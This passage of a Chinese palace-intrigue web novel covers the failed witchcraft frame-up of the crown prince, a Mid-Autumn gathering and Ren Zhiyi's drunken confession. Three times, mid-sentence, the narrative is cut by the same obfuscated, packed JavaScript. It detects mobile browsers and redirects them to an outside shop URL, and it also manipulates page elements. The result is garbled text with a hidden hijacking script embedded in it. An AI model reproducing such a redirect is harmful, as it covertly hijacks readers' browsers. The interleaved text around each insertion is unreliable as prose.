“陛下!”他跨步走出,颔首行礼,声音高昂,“此妇人之言未必可信,事关懿靖郡主声誉,须得查实。” 皇帝沉声道:“宣,懿靖郡主!” “父皇!”突然,一道清冷的声音缓缓响起。 几簇烛火跳动,灯影下长眉清隽,薄薄的眼皮微微上抬。 “不必问懿靖了!”卫枢轻声道:“这件事,是儿臣告诉她的。” 满殿静寂,殿外淅淅细雨,一滴一滴落在宫檐的瓦当上,声音清脆而明亮。 吏部尚书秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13886750|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洙踌躇半晌,缓缓道:“启禀陛下,有人向臣密报,言太子与安州王结党,臣不胜惶恐,伏启陛下圣裁。” “一派胡言!”叶蕴之冷声道。 “告密者声称东宫有二人往来信笺,说安州王为太子献计,笼络朝臣。”秦洙偷偷地觑了卫枢一眼,继续道:“臣,臣原本也是不信的……” 言外之意,太子得郑鸿泰之秘辛,未告知陛下,却转而告知懿靖郡主,可见关系匪浅,让人不得不生疑。 若是为了盐权一事,懿靖郡主只需揭露郑鸿泰的身份即可,可是她绕了一圈,宁可找李氏诬陷郑檀,也不肯将这个秘密说出来,可见还有更大的图谋。 姑且不论是否是太子授意,太子与安州王的关系,可见一斑。 “今日秋雨霏霏,众卿陪朕去东宫看一看景色吧。”皇帝缓缓道。 “陛下!”叶蕴之骤然失声。 皇帝犹在盛怒之中,拂袖起身,众臣尾随离开清和殿。 细雨绵绵,落在一把把莲叶芰荷油纸伞上,好似连成一片青色的雨幕。 叶蕴之挥开内侍擎在他头上的伞,跪在雨地里,“请陛下三思!” 皇帝面沉如水,唇角含着一抹冷笑,“连叶卿也不信太子是无辜的?” 卫枢伸手扶起叶蕴之,双眸淡静无波,“父皇息怒,儿臣无罪,亦无惧!” …… 行至东宫门前。 任知宜率东宫众人谒见皇帝,伏拜于地。 她身着绛红色圆领窄袖官服,头戴黑色双幞乌纱帽,端庄贞静,落落大方。 细雨如丝,落在她的面上,眼睫微湿,肌肤像是蒙上一层薄薄的水气,晶莹剔透。 “臣任知宜拜见陛下!” 皇帝目不斜视,“从书房开始找,朕就在这儿等着。” 禁军领命。 此举无异于搜查东宫,东宫诸人闻言,皆浑身一颤,不知道究竟发生了什么事。 任知宜维持着跪拜的姿势,眼皮微垂,任细密的雨滴落在眼睫上,静然不动。 柳德捋着薄须,微笑着望向任知宜。 好极! 这是他与任知宜早就定好的一场局。 郑檀已知晓郑松的身份,因为郑松之子懦弱无能,数年来安分守己,所以他便留了李氏母子一命。 后来韩家欲借李氏母子攻击郑檀,却不知李氏因为害怕,第一时间就将此事告知郑檀。盐业经营权固然重要,可一举重挫太子的机会更为难得。 柳德明着是要帮郑家夺盐业经营,实际上是要设局构陷太子,以助安王上位。 郑檀故意露出破绽,任知宜误导韩少初和叶蕴之,这些都是明局;柳德引懿靖郡主揭开郑松身份,将太子和安州王陷于结党之嫌,是暗局。 诸人各怀心思。 在这个局中,柳德利用任知宜苦恋太子之机要她襄助。一旦事成,懿靖郡主声名狼藉,必不能成为太子妃。 但是,在柳德的心中,其实他从未真正信任过任知宜。 此时,禁军走出来,双膝跪地。 “启禀陛下,搜到两封安州王写给太子的信笺……”,他顿了一下,双手向上托擎,“另外,还搜出这个东西。” 雨水顺着伞沿滑下,皇帝借着微明天光,看清楚他手中的东西。 一方黑色檀木长盒。 59. 构陷 秋雨渐歇,云散初霁。 覆着锦绣华盖的肩舆落地,皇帝缓步而下。 搜出的信笺被当众念出,一封是安州王何卢感激太子照顾懿靖郡主,另一封则更简单,不过是寻常的节令问候。 言辞客气疏离,算不上亲密;更遑论什么结党营私之嫌。 皇帝听完,神色稍缓。 “太子,你身为储君,日后还是要谨言慎行,与朝臣保持距离。” 众臣心如明镜。 未搜出实证,太子最多担一个“擅交朝臣,往来过密”之责,受些小惩处;只是懿靖郡主与太子的婚事恐怕保不住了。 毕竟,帝后绝不可能接受一个声名有损的太子妃。 任知宜微微抬眼,望向柳德的眼神清清凌凌,淡静无波。 柳德的唇角噙出一抹冷笑。 她果然没有按照他们之前约定好的,将写有太子与安州王调查云门镇案子的信笺拿出来。 此女狡诡多智,想要一石二鸟。一方面利用他破坏太子的婚事,另一方面,替太子遮掩,反将他一军。 他心内冷哼,螳螂捕蝉,黄雀在后。 …… 雨后初晴,天光渐盛。 皇帝指着旁边的木盒,问道:“这是什么?” 东西被呈上来,木盒表面乌黑如墨,上面镌刻着佛家法螺纹,凑近过去,可以闻到淡淡的檀木香。 有人辨认出来,“回陛下,此乃法螺纹盒。” “何解?” “法螺纹寓意生命传承,乃吉祥如意、安宁永康的象征。” 皇帝摩挲着木盒表面,看花纹的纹路,这盒子应该也有些年份了。 “太子,里面放的是什么?” “扑咚……” 卫枢尚未答话,东宫宫人之中,有人突然没站稳,摔倒在地。 皇帝侧目望去,摔倒的是个小内侍,不过十七八岁的年纪。 小内侍慌忙起身,面色惨白,满头额汗。 因为刚刚下过雨,秋风一起,空气中透着瑟瑟凉意。 皇帝望着他,缓缓问道:“你觉得很热?” 小内侍扑跪于地,颤声道:“奴,奴才不热。” 皇帝抚着手中的木盒,“你见过这东西?” “陛下息怒!”小内侍身子抖颤,不住地磕头,“奴,奴才是不小心看见的。” 皇帝眉心微蹙。 小内侍面如土色,涕泪横流,“奴才之前打扫书房,不小心碰到盒子摔了一下,看见里面,里面有一个牌位和一个木雕。” 柳德缓缓道:“臣听闻,在安州,若有至亲之人死于非命,必要在七年内做满七七四十九日诵经法事,之后将灵位安置于黑色法螺纹盒中。” 皇帝面色骤变,像是手上沾了什么污秽之物,嫌恶地将木盒扔了出去。 柳德继续道:“太子殿下每年八月都会去华济寺做七日法事,不眠不休,诵经超度,此木盒应当是作此用。” 卫枢行礼,“启禀父皇!这是儿臣义父的遗愿。” 皇帝知晓,卫枢流落民间时曾拜救命恩人沈玄为义父。 当年,皇帝曾问卫枢要不要封赏沈玄一家,卫枢却说人已逝去,家中也不剩什么人,这件事就作罢了。 没想到太子对这个义父居然如此用心。 皇帝以净帕拭手,冷笑道:“好一个事父至孝!” 一介平民,卑微低贱之人,焉能算得上太子的“至亲之人”! 木盒被打开,现出一块木制牌位,上面写着“沈玄”的名字。 小内侍的眼睛一直盯着那方木盒,面容紧绷,身子抖颤地摇摇欲坠,面色一时青,一时白。 皇帝冷冷地瞥了他一眼,“不过是个牌位,你抖什么?” “奴,奴才之前还见到一个木雕。” 任知宜像是突然明白了什么,身子一僵,蓦地抬起头来,不可置信地望向柳德。 柳德眼睫微压,掩下眼底的得色。 他费劲心思布局,令任知宜以为自己已经得到他的信任,相信他最终的目的是构陷太子与安州王结党;可是他们万万想不到,他要的不是令太子失却圣心,而是让他永世不得翻身。 小内侍颤颤巍巍的声音逸出来,“奴才见到的是一个人形木雕,背后还刻着字。” 东宫院落空静,纤细的枝条被风吹起,又荡下,发出细碎的,沙沙的声响。 一缕阳光透出云层,洒落在身上,却让人感觉不到一丝暖意。 皇帝霍地起身,声音像是从地底深处而来,“什么字?” “乙未,九月初二,命主坤宫,西南文昌……” “住口!”胡德祥大声惊喝。 众臣惊骇,禁不住敛气屏息,一口浊气哽于喉间,上不去,下不来。 生辰八字!乙未,九月初二…… 皇帝的寿诞之日,天下皆知,乃是下月初二。 生辰八字乃是私密,不可为外人知晓,眼看胡总管急赤白脸地打断小内侍继续说下去的样子,众臣心中已明白。 太子牵连巫蛊之祸! 前朝因巫蛊之祸,四位皇子被杀,前后三年,共株连五万余人。 “太,子!” 卫枢双膝跪地,大礼叩首,“儿臣绝没有做此等大逆不道之事。” 小内侍颤着手指,一根食指指向木盒,“就,就在那木盒下面的夹层里。” 皇帝接过木盒,缓缓打开,面色阴沉地望着内里。 柳德突然开口,“启奏陛下,安州旧俗中有一传闻。有心术不正的方外之士宣扬说,若以巫术咒人,可以选择一枉死者的灵位“镇压”于桐木人偶之上;因为枉死之人魂灵无所归依,阴煞之气最为深重。” 以枉死的义父灵位谋害生身君父,心思歹毒如斯…… 柳德继续道:“臣还查到,太子在安州时,曾与几个方士暗地里接触过,这些人都擅长巫术。” 所有人都静默下来。 过了半晌,皇帝望向小内侍,问道:“你是亲眼所见?” “奴才是亲眼所见。”小内侍俯首,“奴才当时不小心将木盒摔在地上,不慎将右角刮出一个极小的月牙刮痕。” 皇帝瞥了一眼木盒,右下角的确有个极小的刮痕,状似月牙,这个位置若不翻转盒子,轻易不能察觉。 他将木盒掷于小内侍面前,“既是亲眼所见,你替朕找一找, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930379|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你所说的东西在哪儿!” 此言一出,柳德面色大变。 木盒大敞,空空如也。 小内侍捡起木盒,不敢置信地摩挲着内缘,那夹层做得极为隐秘,须得触到内缘暗扣方可打开。 可是,什么都没有。 小内侍汗如雨下,手指抖颤不止,动作越来越急。 这是一个没有夹层的木盒。 他将木盒翻过来覆过去地察看,木色、纹理、月牙形的刮痕,无一不是那个盒子的样子。昨日,他刚刚核实过,“东西”就放在夹层当中。 不是夹层中的东西不见了,而是木盒里面根本就没有夹层。 小内侍一下子瘫软在地上,面色苍白,身体像是被抽干了所有的生气儿。 与他之前胆怯懦弱的样子相比,如今的他更像是心如死灰。 皇帝怒不可遏,“林居正!” “臣在!”大理寺卿林居正跨步而出。 “拖下去,无论用什么办法,让他供出真相!” “臣遵旨!” 皇帝望着卫枢,心中百味杂陈。 卫枢清冷如玉的面上自始至终未露出一丝惊惶。 皇帝长叹,从一开始,他就没有完全相信,待看到盒中无夹层之后,更是明白,这是个诬陷之局。 幕后之人机关算尽,可惜算错了一件事,一件只有他和卫枢知道的事。 当年卫枢七岁,有一日从书房回来,问他:“父皇,何为巫蛊之祸?” 他将前朝巫蛊之祸的来龙去脉讲了一遍,卫枢听罢,面上带着几分不屑一顾。 “若巫蛊之说有用,朝廷哪里还需要什么能臣良将?儿臣觉得,所谓的厌胜之术,不过是有心之人设下的圈套罢了,那文远帝居然信了,实在可笑!” 前朝文远帝痴迷仙道之说,尊一道士为国师,后来那道士发现四位皇子在寝宫里施厌胜之术,文远帝大怒之下将四位皇子全部斩杀。前朝皇室一脉因此大受折损,最终登基的是一个年仅五岁的稚童。 “枢儿慎言!” 当年七岁的卫枢昂着下巴,不以为然道:“儿臣不信鬼神,信苍生!” 皇帝收回翻涌的思绪,不经意间瞥见八宝柜中陈列着的一个木制马骑。 虽是件小儿玩物,且略显老旧,却被擦拭得一尘不染,光滑干净,能看得出来是极其珍视之物。 这是当年他送予卫枢的礼物,那时他尚未登基,他亲手做了这个小马骑送给卫枢,没想到皇宫陷落多年,这个东西居然还能被找回来。 卫枢顺着他的视线望去,清明的眼底泄露出些许情绪,“当年皇宫被破的那一夜,儿臣将它埋在一棵桃树下,这些年并未被人发现。” 皇帝心中微动。 沉吟半晌,他缓缓道:“传朕令,太子卫枢结交朝臣,行止不端,禁闭东宫三月,以儆效尤。 将李氏母子收押刑部,收回郑家盐业经营之权。 懿靖郡主威胁李氏构陷郑檀,废郡主之位,降为县主。 着大理寺卿林居正彻查东宫诸人,一个也不可漏掉;再将安州与太子有过往来的方士全部押至京城受审。 柳德闻言,缓缓地闭上眼睛。 60. 中秋 自东宫那日后,韩少初主动上表,将韩家三成田产进献朝廷,以充盈国库,惠利民生。 皇帝嘉许其行,将江南三道盐业经营之权授予韩家,这一场郑韩之争终于告落。 节前一日,皇帝出宫,陪庆嫔前往临州省亲。 车马辚辚,满城繁花彩带。 马车载满玉器锦帛,浩浩荡荡地出了城,百姓擦肩接踵,争相瞭望,人声鼎沸。 …… 月满盈天,如轮高照,又是一年中秋月明。 众人七手八脚地将桂花酒从土里刨出来,去掉污泥,摆上案台。 院落不大,不过十尺见方,胜在空落,幽静。 “今夜月明风和,正适合赏月小酌,对月吟诗。”霍思修摆好四味果盘,兴致勃勃道。 唐橘大声喊道:“本姑娘可不会吟诗,莫拉我!” “唐姑娘!佳节良辰,枯坐于此,岂不虚度?” 唐橘翻了个白眼,“你瞧院子里的这些人,哪个愿意陪你吟诗?本姑娘是来喝酒的!” 云娘和宝珠笑了笑。 皎皎明月,清辉中透出温柔,让人不自觉地心静。 任知宜从屋内走出来,怔怔地望着天上硕大的满月,喃喃道:“灵州的月亮,要更圆,更亮一些。” 霍思修笑着宽慰道:“你这是想家了!灵州虽远,倒也不是回不去。快马加鞭,十日足矣。” 顿了一下,他瞥见其他人没注意,低声问道:“中秋之后,你是不是要回宫里去住?” 朝里近来还算太平,只是平日里与柳德极为亲近的几个官员轮番上奏,参任知宜不遵礼法,不守宫规,身为内廷女官,却周旋于朝臣之间,伤风败德。 他们都是柳德的嫡系,不敢公然与太子对抗,只会揪着任知宜的细微错处不放。 有人参她私营商铺,有人参她夜宿宫外,更有甚者,参她以色侍主。奏表如雪花片似地往乾元殿里飞,连景相都开了口,希望陛下“肃整内宫”。 任知宜揭去酒坛上的楚纸,桂花的香气直入鼻间,醇香馥郁,醉人心脾。 酒杯盛满,色泽温润。 任知宜将酒杯放在鼻下轻轻闻了一下,叹息道:“我日后可能没这么容易出宫,也喝不到云娘姐姐酿的酒了。” “唉!”霍思修闻言亦叹道:“虽说你我都在宫中,可是内外有别,即使在宫里也不易见到啊。” “多谢义兄在朝上为我辩驳!” 听她道谢,霍思修忙摆手道:“咱们结义之交,说这些都是见外。倒是景兄,素日里温文从容的一个人,为了你跟朝臣争得面红耳赤,实在难得。” 任知宜双眸微动。 “话说,东宫女史素来算不得内廷中人。若依前朝旧制,殿下既已及冠,早该开立太子府,自立门户,你也不用因为这等事被人弹劾。” 任知宜淡笑道:“义兄也说是前朝旧制,如今这局势,陛下怎会让太子出宫!” 言外之意不用说得太明。 霍思修抱起酒坛,将案上的八只酒杯斟满,“其实,你也不要过于忧心,听闻柳尚书已奏请陛下,要致仕还乡。” “当真?”任知宜手下动作一顿。 “八九不离十,奏折还在陛下那里压着,毕竟柳德是两朝重臣,陛下还在考虑。” 那一日,霍思修亦在朝上,他并不知晓其中内情,但也隐隐猜到一些。 大理寺卿迟迟未将审讯的结果公之于众,柳德又一直抱病不出,众臣心中也是起了疑心,觉得此事定与柳德脱不了干系。 如今这般作派,不过是皇帝给老臣留的最后一点体面。 霍思修道:“为了这事儿,陛下召政事堂商议过两次,还没有定下来。” 任知宜沉思片刻,心下了然。 定不下来的不是柳德是否致仕,而是谁来接任户部尚书一职。 她正凝神思考,突然看案台上摆了八只酒盏,讶异道:“还有谁要来?” 算上费举子和韩少初,也不过是七人。 霍思修笑了笑,“景兄为你仗义直言,怎好不请他?” 任知宜眉心一蹙,“今日乃中秋,咱们都是父母在外,他景随却不同。义兄请他过来,明日岂不是全京城都知晓景公子与景相不睦?” 霍思修闻言一怔,挠头悔道:“是啊!我忘了,这可如何是好!” 敲门声传来。 来的不是景随,而是景家的随从。 小随从面容清秀,口齿伶俐,“我家公子让小的传个话,今日不便,改日再登门造访。” 他手呈盒子,“这是公子送给姑娘的佳节贺礼。” 任知宜下意识要推却。 却听那小随从又道:“公子说,是份薄礼。再推却,便是不拿他当朋友了。” 盒子打开,是本古书义疏。 这本书她找了许久,虽不是什么珍藏典籍,却是她爹的心头好。 小随从未等她反应,将东西塞她手上,一溜烟儿地跑了。 霍思修感叹道:“还是景兄想得周全,那日他欣然应允,如今不来,恐怕是担心给你招惹是非。” 任知宜握着书,心中沉甸甸的。 —— 灶上的白糖熬好,宝珠小心地取出糖浆,放入碗盅。 糖浆滚烫,连带着碗盅也是烫的。 宝珠吹吹指尖,准备再去端,冷不防被人截了去。 她抬眼一看,对上霍思修温柔的笑脸。 “我端吧!” 宝珠神色古怪地看了他一眼,“霍书生,你最近不是做了什么亏心事吧……怎么对我这么好!” 晨起帮她挑水,夜里帮她煮宵夜,发了俸银就给她买糖球,还时不时带她去街边看杂耍…… 霍思修脚下一顿,面皮窘得微红,说话变得磕磕巴巴,“你,你觉得是什么原因呢?” 宝珠歪着脑袋想了想,伸出两根手指。 “我觉得,不外乎有两种可能。” “哪两种?”霍思修眼睛发亮。 宝珠绕到他身前,用极为挑剔的眼光,上上下下地打量了他一番,“第一种可能,你觉得自己手无缚鸡之力,想要拜我为师,跟我学武,强健体魄。” 霍思修满心的期待一下子泻了下去,悻悻道:“我也没这么弱吧!” 又道,“虽然我不算孔武有力,也是昂藏七尺男儿。再说了,我是文臣,武可定国,可是文能兴邦啊……” 宝珠耐心地听他说完,感慨道:“难怪小姐老嫌我话多絮叨,果真是有些烦。” 霍思修心塞了一下,哂哂道:“总之,我没有要拜你为师的意思。” “嗯!”宝珠点点头,“我已经知道了!” “那就是第二种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954548|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能!”宝珠转了转眼珠,凝视着他,“你看上我了?” “咳咳……” 霍思修受惊,被自己的口水呛了一下,“你,你……” “难道又猜错了?”宝珠自言自语道。 “你,你……”,霍思修想说话,却咳得说不出来,急得面红脖子粗。 越急,越说不出话来。 最后他用尽全力憋了一口气,大声喊道:“你猜对了!” 宝珠眨了眨圆圆的大眼睛,面上渐渐地染上一层粉色。 二人面对面,半晌不说话。 过了会儿,霍思修嗫嚅着开口,“你,你是怎么猜出来的?” 宝珠理所当然道:“小姐说过,无事献殷勤,非奸即盗。” 霍思修一噎,“其实,这句话用在这里不太恰当!应该用“山有木兮木有枝,心悦君兮君不知”这句话。” 这句诗含在齿间,被他吟得温柔动情。 宝珠似乎是听懂了,粉白的脸颊更红了些。 “哈!” 一声肆意的调笑,冲破了厨房的旖旎氛围。 两人侧目一望,韩少初斜倚在门槛处,似笑非笑地看着二人。 霍思修羞恼不已,“韩公子可懂得非礼勿听?” 韩少初两手一摊,桃花眼里满是戏谑,“我可不是故意要来听你们说情话的,外面做月团的人一直在问糖浆怎地还未做好,我就过来看看喽。” “你胡说什么啊!”霍思修红着脸递给他碗盅,催促他赶紧走。 “啧啧……”,韩少初倚门抱臂,懒懒笑道:“听闻霍大人是京城中有名的佳婿之选,若是外面的人知道霍大人钟情一个小丫鬟,不知道会怎么议论啊!” 霍思修面色一僵。 蓦地,一柄菜刀破空飞出,稳稳地扎进韩少初旁边的门板上。 韩少初余光瞥过耳边的菜刀,恨恨地咬牙道:“真是有什么主子,就有什么丫鬟!” —— 白糯米外皮,包上核仁儿、枣泥和桂花,捏成饼团状,用糖浆封口,然后架在炭火上烘烤。 灵州没有吃月团的习俗,任知宜觉得新奇,上手试了一下,却捏了个四不像的形状,被众人嘲笑。 她不急不恼,站在云娘身后细细端详了半天,方有所领悟,做月团时,手上的力度最是紧要,既要轻,又要快。 就这样,反反复复试了七八次,总算做出了些模样。 众人围案而坐,举杯共饮。 炉火燃燃,添了融融暖意,抵消了几分秋夜的寒凉。 几杯下肚,唐橘的舌头就有些大了,“在大理寺里面,有些人狗屁不通,还非,非要教我做事。” 韩少初无语地看着她,“酒量这么差,还一直叫嚣着自己今夜要不醉不归!” “谁酒量差?”唐橘晕乎乎地抬起头,大声喊道:“酒量差的,快,让,他,滚!” 云娘扶着唐橘坐下,喂了她一碗醒酒汤,又转身问道:“东家,你喝得也不少,要不要也来一碗?” 桂酒微甜,她又喝得克制,任知宜自觉无碍。 展颜一笑,“今日高兴,多喝几杯不妨事。你也不用担心唐橘,她今夜就宿我房中。” 云娘应下。 任知宜又饮一杯,明亮的眸子盯着盏中荡漾的酒纹,盈盈笑道: “真是好酒!” 61. 酒醉 夜色深浓。 唐橘醉了,趴在案上,黝黑的皮肤泛起一片片酡红。任知宜叫不醒她,遂将身上的外衣解下来给她披上。 廊檐下,云娘与费举子面对面站着。 不知道二人说了什么,没过多久,费举子颓然退后,又踉跄着离开,难掩失落之情;云娘则留在原地,怔怔地望着对方的背影。 二人的举动落在任知宜和韩少初的眼中。 韩少初放下酒杯,慵懒地后仰,“痴男怨女,何其烦扰!” 任知宜不理他。 韩少初道:“你可知?霍思修今日跟你的小丫鬟表白心意了。” 众人围案喝酒时,两人一直红着脸,局促不安的样子,明眼人一看便知。 “韩公子,莫管他人闲事!你何时启程回济州?” “怎么,要赶我走?”韩少初似醉非醉地瞥了她一眼,“你害我韩家损失惨重,却连杯酒也不给喝吗?” 任知宜眉心微蹙。 无人得知,早在那日风波之前,韩家已被迫释出诚意。 任知宜引韩少初去找叶蕴之,以二人作饵入局,同时故意让景随现身,令韩家以为陷于绝地,提前下出了原本要留到最后的棋子。 在太子心中,世家终究是个祸患,无论是郑家,还是韩家。 “算了!算了!”韩少初摆摆手道:“你是东宫幕僚,自然要以东宫的利益为上。” “韩少初!你自己心里清楚,此次你韩家的损失,其中七成来自那个跟你素来不和的堂叔父,这件事于你在韩家扎稳势力,只有好处,没有坏处。” “呵……”,韩少初轻笑一声,“真是什么都瞒不过你!” 夜空宁静,惟余唐橘轻鼾之声。 任知宜的声音清晰而沉静,“谁都不可能容忍世家一直做大,太子亦不能。经此一事,你韩家就此韬光养晦,未必不是一件好事。” 韩少初笑道:“这世上还有韬光养晦的商者?任知宜,你自己曾经也是经商的,商者逐利的道理,你应该懂吧。” “你要做什么?” “眼光可以放远一些!”韩少初站起身来,拿着酒盏摇摇晃晃地走到她面前,一双桃花眼含着些微醉意,“我韩家的商船已找到出海的路,最迟明年。” 任知宜眼睛瞪大,“你要出海?” 大胤出海者十去九不回,偶有回来的人都说,海的那边是广袤的土地,奇特的风情,还有无尽的财富。 任知宜心中亦向往之,“可否让我同去?” 韩少初觉得好笑,“你不用留在东宫帮太子了?” 见她默然,他又道:“任知宜!作为朋友,我提醒你,不要对别人过于用心,也不要学那些痴男怨女,红尘之中走一遭,最重要的,是自己要活得畅快。” 任知宜眼波微转,看着他的眼神有些意外。 韩少初起身抱过一坛酒,又倒了一杯,“话说,你为何这么死心塌地,非要做这个东宫幕僚呢?” 任知宜沉吟半晌,悠悠道,“或许……是因为太子的初心难得。” “初心为何?” “一个清明盛世。” “哈哈哈……” 韩少初借着酒劲,大声狂笑道:“没想到市侩如你,居然还有一颗士大夫之心!” “多可笑!”他大手一挥,冷笑道:“权力鼎盛之处,自有利益纠缠。人心易变,身处官场久了,所谓的初心早就变了。就算你能约束自我,你又能强逼他人吗?清名盛世,就如同一场海市蜃楼,充其量不过昙花一现。” “昙花一现,总好过冷漠视之,即使只换得十年。” 有些事,她不是不懂。 任知宜想起,初入京城时,她与韩少初想法并无二致。 不知道,是从何时开始变了…… 他嗤笑她明知不可为而为,“聪明如你,也会有这种犯傻的时候。你这么说,还不如骗我说,自己是因为倾慕太子,才这般费劲心力。” 任知宜微怔,喃喃自语道:“我,也的确是倾慕太子。” 韩少初一口酒狂喷而出,清醒了大半。 他满面惊讶,“你钟情太子而不得,与太子争执,又与懿靖郡主争风吃醋,这些不都是假的吗?” 一开始,她与卫枢争执是真,可是后来发现柳德想要离间二人,便顺势而为。如今众人皆知,任知宜与太子并无私情,不过是作戏而已。 “两者并不冲突。”任知宜淡淡道。 韩少初摇着头,饮尽杯中酒,“你要明白,他是储君,心中放着江山社稷,你永远不会是太子的首选。” 任知宜眨了眨眼睛,瞳眸漆黑发亮,亮如星子。 “不试试,又怎么知道呢?” ———— 将唐橘送回房后,任知宜抱着一坛酒,去了皇宫。 宫门尚未闭阖,守门侍卫虽然心中纳罕,却也不敢得罪眼前这位东宫幕僚,仅查了她带的酒,其他的半句未敢多问。 东宫空静如昔。 任知宜信步而入,带着三分醉意,还有一腔激荡之情。 湖水平澜无波,一轮圆月倒映在湖面上,交相辉映。 卫枢一袭青衣,立于湖边,身如松柏,清逸雅静。 “殿下!” 卫枢回头。 树枝上犹挂着四角宫灯,灯影之下,粉面杏眼,清眸若水,浅笑盈盈。 “殿下站在湖边做什么?” 卫枢回过神来,“孤陪母后说了会儿话,想来湖边吹一吹风。” 任知宜抿了抿唇。 想来郑皇后今夜的心情不会太好,中秋之夜,皇帝陪着庆嫔省亲,便是生生打了正宫的脸。 近来,皇帝行事越发恣意,恐怕是恼于被权臣掣肘多年之故,连带着对皇后也不若当年敬重。 “你这是……”,卫枢指着她手中酒坛问道。 任知宜温婉一笑,“想找殿下一起喝酒。” 卫枢定定地望着她。 双颊薄粉,脚步走得极稳,看起来不像是醉酒;可是,卫枢总觉得今夜的任知宜有些不同。 任知宜将酒放至他鼻下,让他闻一闻,“我亲手采了桂花,又与云娘一起酿酒,拿给殿下尝尝。” 因为相隔咫尺,他能闻到她身上的浅淡酒息。 卫枢呼吸一滞,动作不过慢了半拍 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溧水双桥相遇之后,卫枢将云门镇的惨案告知于她,还告诉她,他是当年云门镇的幸存者。当年,他被压在尸体下面,亲耳听到安州王何卢对近身侍卫说,“烧了吧!” 那森然的口吻,冰冷的语调,他永远不会忘记。 杀云门镇百姓的是郑鸿泰,火烧云门镇的却是何卢。 他在宫中与任知宜相遇时,身边有贤妃的眼线,他故意提及义父,任知宜心领神会,遂在柳德面前提起,引得柳德去安州探访,继而设下一个局。 任知宜问道:“殿下是何时知道弘忍法师有问题的?” 卫枢道:“做法事之前。” 他在幼年时曾在无意中见过一个妇人带着幼童来见法师。后来他查到,那妇人是弘忍法师出家之前养的外室,所以很少人知道弘忍法师还有个亲生儿子。 “柳德以他儿子为威胁?”任知宜轻笑,“算不得高明。” “不算高明,却很有效。”卫枢道:“即使如法师这等得道高僧,依然摆脱不了亲缘桎梏。我与弘忍法师相识多年,他将桐木人偶放于盒内夹层中,我自是不会防备。可惜,柳德和法师都不知道,我早已知晓这个亲子的存在。” 任知宜唏嘘地点了点头,又问道:“还有别的吗?” 卫枢一怔。 “殿下若还有别的秘密,必要告知于我。否则,再有下次,我就离开京城,不做这个东宫幕僚了。” 任知宜双眸幽深黑亮,望着卫枢的神情认真,声音似怨似嗔。 “好!” 卫枢鬼使神差地应了一声。 任知宜顿时开怀一笑,笑靥有如三月的桃花。 靠着湖心亭的平栏,她探出身子,指着高悬天际的圆月,朗声道:“我心似月,悲喜同君。” 卫枢震了一下。 欲扶她下来,却觉她身体一软,缓缓地倒在他怀中。 醉了! 卫枢娇躯揽怀,心跳有如擂鼓。 悲喜同君。此君为何? 62. 做膳 窗外,鹂鸣莺啼。 任知宜缓缓睁目,将薄衾覆于面上,一动不动。 酒劲儿尚存,头还有些疼。 她想起昨夜的举动,恨不能将自己埋于衾下,再不出来。 贪杯乱性! 古人诚不欺我。 宫女雀琴走进来,站在门口远远地瞧了片刻,轻声唤道:“女史醒了?” 任知宜揭开薄衾,揉着发痛的额角,缓缓起身。 她向来不是遇事纠结之人,既然昨日醉酒纵情已成事实,不如顺其自然。 “帮我取铜镜过来。” 雀琴依言。 镜中,鬓发松散,青丝垂落两颊,面色微白,略显憔悴。 女为悦己者容。 饶是任知宜性情沉静,却也在意容颜,顶着这副宿醉未醒的样子,一会儿要如何去见卫枢? 雀琴察言观色,猜出她心中所虑,“莫担心,女史天生丽质,肌肤莹润,浅浅敷一层薄粉,便看不出宿醉。” 梳妆完毕,任知宜选了件天青色菱纹石榴裙,配以兰花金蝶步摇,绿松耳珰,气韵天成;额间轻点花钿,若红梅初绽,芳华灼灼。 雀琴惊艳不已,“女史这么妆扮,真好看!” 山南道女子向来以灵秀柔弱为人称道,任知宜体态纤纤,气质静雅,乃是标准的山南道美人。 成为女官之后,她或穿官服,或着装庄重,举止沉静内敛,却因此失之柔美。 任知宜对镜浅笑,“殿下此刻在哪儿?” “殿下不能出东宫,这几日常在书阁读书作画。” 任知宜不解,“昨夜不是还去坤荣殿见了皇后娘娘?” “那是皇后娘娘之前向陛下讨的特谕。毕竟是中秋之夜,阖家赏月的日子,陛下还是体恤娘娘和殿下的。” 任知宜点点头,放下心来。 既然能有第一次,便能有第二次。目前还不是太子解除禁闭的时机,不过照陛下的态度来看,料想不会太久。 “我去书阁见殿下!” “稍等!”雀琴拉住她的手臂,面露难色,“女史要不要等等再去?听闻殿下今晨起迟,早膳几乎未动。” 言下之意,是太子心情不佳,此时不宜拜见。 她微微愕然。 卫枢素来心性沉稳,少有怒意,何况他们昨夜共饮,还有说有笑…… “我知晓了!”她轻轻蹙眉,想得却是另一桩事。 “不吃早膳怎么行!殿下平日里也经常如此?” 